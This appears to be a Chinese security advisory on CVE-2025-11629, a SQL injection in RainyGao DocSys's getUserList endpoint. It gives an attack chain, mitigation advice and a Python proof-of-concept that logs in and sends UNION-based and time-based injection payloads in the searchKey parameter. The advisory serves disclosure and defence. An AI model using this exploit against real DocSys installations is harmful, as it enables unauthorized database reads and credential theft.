IPBUF安全漏洞报告
English
CVE-2025-11629 CVSS 6.3 中危

CVE-2025-11629:RainyGao DocSys SQL注入漏洞

披露日期: 2025-10-12

漏洞信息

漏洞编号
CVE-2025-11629
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
RainyGao DocSys

相关标签

SQL注入RainyGaoDocSys文档管理系统CVE-2025-11629中危漏洞getUserList远程攻击

漏洞概述

CVE-2025-11629是RainyGao DocSys文档管理系统中存在的一个SQL注入漏洞,影响版本至2.02.36。该漏洞存在于文件/Manage/getUserList.do的getUserList函数中,攻击者可以通过构造恶意的SQL语句对数据库进行未授权操作。

DocSys是一款基于Web的文档管理系统,广泛应用于企业内部进行文档的存储、管理和共享。由于其面向网络提供服务,且涉及大量敏感的企业数据,一旦存在SQL注入漏洞,将对系统安全性构成严重威胁。该漏洞的CVSS评分为6.3,属于中危级别,攻击者需要低权限(已认证用户)即可远程发起攻击,无需用户交互。

该漏洞的成功利用可能导致数据库信息泄露、数据篡改,甚至在某些情况下实现远程代码执行。漏洞已于2025年10月12日公开披露,相关的利用代码(PoC)已在GitHub上公开,攻击者可随时利用此漏洞进行攻击。值得注意的是,安全研究人员在漏洞披露前已联系厂商,但厂商未作出任何回应,也未发布修复补丁,因此所有使用受影响版本的用户均面临安全风险。

技术细节

该漏洞属于典型的SQL注入漏洞,存在于DocSys系统的getUserList函数中。具体而言,文件/Manage/getUserList.do在处理用户列表查询请求时,未对用户输入的参数进行充分的过滤和参数化处理,导致攻击者可以将恶意的SQL语句注入到查询中。

从技术层面分析,漏洞的利用路径如下:
1. 攻击者首先需要获取系统的低权限认证凭据(如普通用户账号)。
2. 通过向/Manage/getUserList.do端点发送精心构造的HTTP请求,在请求参数中注入SQL语句片段。
3. 由于后端直接将用户输入拼接到SQL查询语句中执行,恶意SQL代码将被数据库解析执行。
4. 攻击者可利用UNION SELECT等SQL注入技术读取数据库中的敏感信息,如管理员密码哈希、用户凭证等。
5. 获取管理员权限后,攻击者可进一步控制整个系统。

该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L,表明攻击通过网络进行,攻击复杂度低,需要低权限认证,无需用户交互,对机密性、完整性和可用性均产生低影响。

攻击链分析

STEP 1
步骤1:获取认证凭据
攻击者通过社会工程学、凭证填充或其他方式获取DocSys系统的低权限用户账号和密码。
STEP 2
步骤2:登录系统
使用获取的凭据通过/Manage/login.do登录系统,获取有效的会话Cookie或Session。
STEP 3
步骤3:构造恶意请求
向/Manage/getUserList.do端点发送包含SQL注入payload的HTTP请求,在searchKey等参数中注入恶意SQL语句。
STEP 4
步骤4:执行SQL注入
服务器端未对输入进行参数化处理,将恶意SQL拼接到查询语句中执行,攻击者可通过UNION SELECT等技术提取数据库信息。
STEP 5
步骤5:权限提升与数据窃取
利用获取的数据库信息(如管理员凭证哈希)进行权限提升,获取系统完全控制权,窃取或篡改敏感文档数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11629 - DocSys SQL Injection PoC # Vulnerability: SQL Injection in getUserList function # Endpoint: /Manage/getUserList.do # Affected versions: DocSys <= 2.02.36 import requests TARGET_URL = "http://target.com" USERNAME = "test_user" PASSWORD = "test_password" # Step 1: Login to obtain session/cookie login_url = f"{TARGET_URL}/Manage/login.do" session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } session.post(login_url, data=login_data) # Step 2: Exploit SQL Injection in getUserList # The vulnerable parameter accepts unsanitized input that is concatenated # directly into the SQL query vuln_url = f"{TARGET_URL}/Manage/getUserList.do" # SQL Injection payload - using UNION-based injection to extract data # Example: extract database version and current user sql_payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,version(),user(),15-- -" params = { "searchKey": sql_payload, "page": "1", "pageSize": "10" } response = session.post(vuln_url, data=params) print("Response:", response.text) # Alternative: time-based blind SQL injection # sql_payload = "1' AND IF(1=1,SLEEP(5),0)-- -" # params = {"searchKey": sql_payload}

影响范围

RainyGao DocSys <= 2.02.36

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)限制/Manage/getUserList.do端点的网络访问,仅允许可信IP地址访问;2)在Web服务器或反向代理层面部署WAF规则,拦截包含SQL注入特征的请求;3)对getUserList相关功能进行代码审查和临时修复,将动态SQL改为参数化查询;4)监控数据库日志,及时发现异常的SQL查询行为;5)限制数据库账户权限,降低被攻击后的影响范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表